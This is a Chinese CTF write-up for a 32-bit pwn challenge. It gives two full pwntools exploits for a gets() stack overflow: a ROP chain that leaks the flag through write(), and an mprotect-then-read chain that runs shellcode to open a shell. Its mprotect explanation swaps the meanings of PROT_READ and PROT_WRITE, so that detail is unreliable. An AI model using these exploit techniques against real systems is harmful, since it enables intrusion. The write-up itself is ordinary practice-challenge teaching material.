这道题是我见过的又一个新的题目不过这道题有两种不同的解题方法
我们一起来看一下这道题目吧:
前面的保护机制检查我就不粘贴图片了。直接分析代码。main函数很简单,看到gets()函数就一定有栈溢出
IDA函数栏中我们可以看到main函数上面有一个get_secret()函数。进去看看:
这个函数是读取flag.txt文件的内容将内容放在fl4g这个参数中我们可以利用程序中的write()函数将fl4g这个变量的内容读出来:
from pwn import *
from LibcSearcher import*
context.os='linux'
context.arch='i386'
context.log_level='debug'
r=remote('node4.buuoj.cn',26797)
elf=ELF('./not')
flag_addr=0x80eca2d
payload='a'*0x2d+p32(0x80489a0)+p32(elf.symbols['write'])+p32(flag_addr)+p32(1)+p32(flag_addr)+p32(42)
// 0x2d个垃圾数据填充 get_secret函数的地址 write函数的地址 fl4g变量的位置 最后是write函数的参数
r.sendline(payload)
r.interactive()
这是第一种方法的exp
第二种相对难一点,在此之前呢我们先了解一个函数
mprotect()这个函数:int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。
下面是exp
from pwn import *
r=remote('node4.buuoj.cn',26797)
elf=ELF('./not')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8
shellcode=asm(shellcraft.sh())
payload ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)
payload +=p32(read_addr)+p32(p3_ret)
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()